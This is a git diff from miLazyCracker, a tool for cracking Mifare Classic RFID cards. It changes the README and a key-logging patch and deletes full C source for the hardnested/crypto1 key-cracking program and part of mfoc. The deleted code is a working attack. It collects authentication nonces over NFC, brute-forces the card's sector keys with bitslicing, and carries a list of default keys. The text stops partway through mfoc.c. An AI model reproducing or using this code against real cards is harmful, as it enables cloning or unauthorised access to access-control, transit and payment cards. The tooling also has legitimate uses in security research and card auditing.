@@ # miLazyCracker -Mifare Classic Plus - Hardnested Attack Implementation for SCL3711 LibNFC USB reader +Mifare Classic Plus - Hardnested Attack Implementation for LibNFC USB readers (SCL3711, ASK LoGO, etc) + +Installation: +```bash +./miLazyCrackerFreshInstall.sh +``` + +Usage example: place a tag and enjoy +```bash +mkdir mydumps +cd mydumps +miLazyCracker +``` This tool is comprised of work from: - Aram Verstegen (https://github.com/aczid/crypto1_bs) diff --git a/crypto1_bs.diff b/crypto1_bs.diff new file mode 100644 index 0000000..f385858 --- /dev/null +++ b/crypto1_bs.diff @@ -0,0 +1,22 @@ +diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c +index 8a53f64..21feed2 100644 +--- a/libnfc_crypto1_crack.c ++++ b/libnfc_crypto1_crack.c +@@ -713,6 +713,17 @@ int main (int argc, const char * argv[]) { + return 1; + } else { + printf("Found key: %012"PRIx64"\n", found_key); ++ if (argc==7) { ++ FILE *fpKey = NULL; ++ fpKey = fopen(argv[6], "a"); ++ if (fpKey) { ++ fprintf(fpKey, "%012llx\r\n", found_key); ++ fclose(fpKey); ++ } else { ++ fprintf(stderr, "Cannot open: %s, exiting\n", argv[6]); ++ return 1; ++ } ++ } + } + printf("Tested %zu states\n", total_states_tested); + diff --git a/libnfc_crypto1_crack.c b/libnfc_crypto1_crack.c deleted file mode 100644 index dc9a4e5..0000000 --- a/libnfc_crypto1_crack.c +++ /dev/null @@ -1,725 +0,0 @@ -// Copyright (C) 2016 Aram Verstegen -/* - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS -*/ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "crypto1_bs_crack.h" - -extern uint64_t * crypto1_create(uint64_t key); -extern uint32_t crypto1_word(uint64_t *, uint32_t, int); -extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); -extern uint32_t prng_successor(uint32_t x, uint32_t n); -extern void crypto1_destroy(uint64_t*); - -#define MC_AUTH_A 0x60 -#define MC_AUTH_B 0x61 - -nfc_device* pnd; -nfc_target target; -typedef uint8_t byte_t; - -uint8_t oddparity(const uint8_t bt) -{ - // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel - return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; -} - - -long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) -{ - uint64_t num = 0; - while (len--) { - num = (num << 8) | (*src); - src++; - } - return num; -} - - -static nfc_context *context; - -#define MAX_FRAME_LEN 264 - -uint64_t *nonces = NULL; -size_t nonces_collected; - -enum { - OK, - ERROR, - KEY_WRONG, -}; - -#define VT100_cleareol "\r\33[2K" - -// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :) -int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) -{ - uint64_t *pcs; - - // Possible key counter, just continue with a previous "session" - uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce - uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; - - uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - - uint8_t Rx[MAX_FRAME_LEN]; // Tag response - uint8_t RxPar[MAX_FRAME_LEN]; // Tag response - - uint32_t Nt; - - int i; - - // Prepare AUTH command - Cmd[0] = ab_key; - Cmd[1] = for_block; - iso14443a_crc_append(Cmd, 2); - - // We need full control over the CRC - if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { - nfc_perror(pnd, "nfc_device_set_property_bool crc"); - return ERROR; - } - - // Request plain tag-nonce - // TODO: Set NP_EASY_FRAMING option only once if possible - if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { - nfc_perror(pnd, "nfc_device_set_property_bool framing"); - return ERROR; - } - - if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { - fprintf(stdout, "Error while requesting plain tag-nonce "); - return ERROR; - } - - if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { - nfc_perror(pnd, "nfc_device_set_property_bool"); - return ERROR; - } - - // Save the tag nonce (Nt) - Nt = bytes_to_num(Rx, 4); - - // Init the cipher with key {0..47} bits - pcs = crypto1_create(known_key); - - // Load (plain) uid^nt into the cipher {48..79} bits - crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); - - // Generate (encrypted) nr+parity by loading it into the cipher - for (i = 0; i < 4; i++) { - // Load in, and encrypt the reader nonce (Nr) - ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; - ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); - } - - // Skip 32 bits in the pseudo random generator - Nt = prng_successor(Nt, 32); - - // Generate reader-answer from tag-nonce - for (i = 4; i < 8; i++) { - // Get the next random byte - Nt = prng_successor(Nt, 8); - // Encrypt the reader-answer (Nt' = suc2(Nt)) - ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); - ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); - } - - // Finally we want to send arbitrary parity bits - if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { - nfc_perror(pnd, "nfc_device_set_property_bool parity "); - return 1; - } - - // Transmit reader-answer - int res; - if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - fprintf(stderr, "Reader-answer transfer error, exiting.. "); - return KEY_WRONG; - } - - // Decrypt the tag answer and verify that suc3(Nt) is At - Nt = prng_successor(Nt, 32); - - if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { - fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. "); - return ERROR; - } - - Cmd[0] = target_key; - Cmd[1] = target_block; - iso14443a_crc_append(Cmd, 2); - - for (i = 0; i < 4; i++) { - ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; - ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); - } - if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - fprintf(stderr, "Reader-answer transfer error, exiting.. "); - return ERROR; - } - - if(fp){ - for(i = 0; i < 4; i++){ - fprintf(fp,"%02x", Rx[i]); - if(RxPar[i] != oddparity(Rx[i])){ - fprintf(fp,"! "); - } else { - fprintf(fp," "); - } - } - fprintf(fp, "\n"); - } - if(nonces){ - nonces[nonces_collected] = 0; - for(i = 0; i < 4; i++){ - nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); - bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]); - nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i)); - } - nonces_collected++; - } - - crypto1_destroy(pcs); - return OK; -} - -uint32_t uid; -uint32_t **space; -uint64_t found_key; -size_t thread_count; -void* crack_states_thread(void* x){ - const size_t thread_id = (size_t)x; - int j; - for(j = thread_id; space[j * 5]; j += thread_count) { - const uint64_t key = crack_states_bitsliced(space + j * 5); - if(key != -1){ - found_key = key; - break; - } - } - return NULL; -} - -bool stop_collection = false; -#define CUTOFF ((uint64_t) 1<<39) - -void * update_predictions_thread(void* p){ - while(!stop_collection){ - if(nonces && uid){ - if(space){ - craptev1_destroy_space(space); - space = NULL; - } - space = craptev1_get_space(nonces, 95, uid); - } - if(space){ - total_states = craptev1_sizeof_space(space); - } - } - return NULL; -} - -void notify_status_offline(int sig){ - printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states))); - alarm(1); - fflush(stdout); - signal(SIGALRM, notify_status_offline); -} - -void notify_status_online(int sig){ - if(!total_states){ - printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected); - } else { - printf(VT100_cleareol "Collected %zu nonces... leftover complexity %zu (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2)); - char c; - if(scanf("%c", &c) == 1 || total_states < CUTOFF){ - printf(" - initializing brute-force phase...\n"); - alarm(0); - stop_collection = true; - return; - } else { - printf(" - press enter to start brute-force phase"); - } - } - alarm(1); - fflush(stdout); - signal(SIGALRM, notify_status_online); -} - -uint64_t known_key; -uint8_t for_block; -uint8_t ab_key; -uint8_t target_block; -uint8_t target_key; -FILE* fp; - -const nfc_modulation nmMifare = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, -}; - -void * update_nonces_thread(void* v){ - while(!stop_collection){ - // Configure the CRC and Parity settings - nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); - nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); - // Poll for a ISO14443A (MIFARE) tag - if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { - nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp); - } else { - printf(VT100_cleareol "Don't move the tag!"); - fflush(stdout); - } - } - return NULL; -} - -uint64_t main (int argc, const char * argv[]) { - nfc_init(&context); - pnd = nfc_open(context, NULL); - - if (pnd == NULL) { - fprintf(stderr, "No NFC device connection\n"); - return 1; - } - - nfc_initiator_init(pnd); - - nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); - // Let the reader only try once to find a tag - nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); - nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); - nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); - nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false); - - uid = 0; - - // Enable field so more power consuming cards can power themselves up - nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); - if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { - uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); - } - - if(!uid){ - fprintf(stderr, "No tag detected!\n"); - // Disconnect from NFC device - nfc_close(pnd); - return 1; - } - - if(argc < 6){ - printf("%s \n", argv[0]); - nfc_close(pnd); - return 1; - } - - known_key = strtoull(argv[1], 0, 16); - for_block = atoi(argv[2]); - ab_key = MC_AUTH_A; - if(argv[3][0] == 'b' || argv[3][0] == 'B'){ - ab_key = MC_AUTH_B; - } - target_block = atoi(argv[4]); - target_key = MC_AUTH_A; - if(argv[5][0] == 'b' || argv[5][0] == 'B'){ - target_key = MC_AUTH_B; - } - switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){ - case KEY_WRONG: - printf("%012"PRIx64" doesn't look like the right key %s for block %u\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block); - return 1; - case OK: - break; - case ERROR: - default: - printf("Some other error occurred.\n"); - break; - } - - char filename[21]; - sprintf(filename, "0x%04x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B"); - fp = fopen(filename, "wb"); - - printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %s %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block); - nonces_collected = 0; - nonces = malloc(sizeof (uint64_t) << 24); - memset(nonces, 0xff, sizeof (uint64_t) << 24); - - fcntl(0, F_SETFL, O_NONBLOCK); - signal(SIGALRM, notify_status_online); - alarm(1); - pthread_t prediction_thread, nonce_gathering_thread; - pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL); - pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL); - pthread_join(nonce_gathering_thread, 0); - pthread_join(prediction_thread, 0); - alarm(0); - - if(fp){ - fclose(fp); - } - nfc_close(pnd); - - if(!space){ - space = craptev1_get_space(nonces, 95, uid); - } - if(space){ - total_states = craptev1_sizeof_space(space); - } else { - total_states = 0; - } - if(!total_states){ - fprintf(stderr, "No solution found :(\n"); - return 1; - } - - thread_count = get_nprocs_conf(); - // append some zeroes to the end of the space to make sure threads don't go off into the wild - size_t j = 0; - for(j = 0; space[j]; j+=5){ - } - size_t fill = j + (5*thread_count); - for(; j < fill; j++) { - space[j] = 0; - } - pthread_t threads[thread_count]; - - crypto1_bs_init(); - - uint8_t rollback_byte = **space; - // convert to 32 bit little-endian - crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); - - for(size_t tests = 0; tests < NONCE_TESTS; tests++){ - // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine - uint32_t test_nonce = uid^rev32(nonces[tests]); - uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); - test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); - crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); - // convert to 32 bit little-endian - crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); - } - - printf("Starting %zu threads to test %zu states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES); - total_states_tested = 0; - keys_found = 0; - signal(SIGALRM, notify_status_offline); - - notify_status_offline(0); - alarm(1); - - size_t i; - for(i = 0; i < thread_count; i++){ - pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); - } - for(i = 0; i < thread_count; i++){ - pthread_join(threads[i], 0); - } - alarm(0); - printf("\n"); - if(!keys_found){ - fprintf(stderr, "No solution found :(\n"); - return 1; - } else { - FILE *fpKey; - fpKey = fopen("/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt", "a"); - printf("Found key: %012"PRIx64"\n", found_key); - fprintf(fpKey, "%012llx\r\n", found_key); - fclose(fpKey); - } - printf("Tested %zu states\n", total_states_tested); - - craptev1_destroy_space(space); - return 0; -} diff --git a/mfoc.c b/mfoc.c deleted file mode 100644 index ec68a0f..0000000 --- a/mfoc.c +++ /dev/null @@ -1,1260 +0,0 @@ -/*- - * Mifare Classic Offline Cracker - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version 2 - * of the License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - * - * Contact: - * - * Porting to libnfc 1.3.3: Michal Boska - * Porting to libnfc 1.3.9 and upper: Romuald Conty - * - */ - -/* - * This implementation was written based on information provided by the - * following documents: - * - * http://eprint.iacr.org/2009/137.pdf - * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf - * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf - * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf - */ - -#define _XOPEN_SOURCE 1 // To enable getopt - -#include -#include -#include - -#include - -// NFC -#include - -// Crapto1 -#include "crapto1.h" - -// Internal -#include "config.h" -#include "mifare.h" -#include "nfc-utils.h" -#include "mfoc.h" - -//SLRE -#include "slre.h" -#include "slre.c" - -nfc_context *context; - -uint64_t knownKey = 0; -char knownKeyLetter = 'A'; -uint32_t knownSector = 0; -uint32_t unknownSector = 0; -char unknownKeyLetter = 'A'; -uint32_t unexpected_random = 0; - -// Determine the distance between two nonces. -// Assume that the difference is small, but we don't know which is first. -// Therefore try in alternating directions. -int32_t dist_nt(uint32_t nt1, uint32_t nt2) { - - if (nt1 == nt2) return 0; - - uint16_t i; - uint32_t nttmp1 = nt1; - uint32_t nttmp2 = nt2; - - for (i = 1; i < (32768/8); ++i) { - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; - - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); - nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; - nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); - } - // either nt1 or nt2 are invalid nonces - return(-99999); -} - - -int main(int argc, char *const argv[]) -{ - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; - - int ch, i, k, n, j, m; - int key, block; - int succeed = 1; - - // Exploit sector - int e_sector; - int probes = DEFAULT_PROBES_NR; - int sets = DEFAULT_SETS_NR; - - // By default, dump 'A' keys - int dumpKeysA = true; - bool failure = false; - bool skip = false; - - // Next default key specified as option (-k) - uint8_t *defKeys = NULL, *p; - size_t defKeys_len = 0; - - // Array with default Mifare Classic keys - uint8_t defaultKeys[][6] = { - {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key) - {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key - {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key - {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, - {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, - {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, - {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, - {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97}, - {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f}, - {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91}, - {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6}, - {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9} - - }; - - mftag t; - mfreader r; - denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}}; - - // Pointers to possible keys - pKeys *pk; - countKeys *ck; - - // Pointer to already broken keys, except defaults - bKeys *bk; - - static mifare_param mp, mtmp; - static mifare_classic_tag mtDump; - - mifare_cmd mc; - FILE *pfDump = NULL; - - //File pointers for the keyfile - FILE * fp; - char * line = NULL; - size_t len = 0; - ssize_t read; - - //Regexp declarations - static const char *regex = "([0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f])"; - struct slre_cap caps[2]; - - // Parse command line arguments - while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:f:")) != -1) { - switch (ch) { - case 'P': - // Number of probes - if (!(probes = atoi(optarg)) || probes < 1) { - ERR("The number of probes must be a positive number"); - exit(EXIT_FAILURE); - } - // fprintf(stdout, "Number of probes: 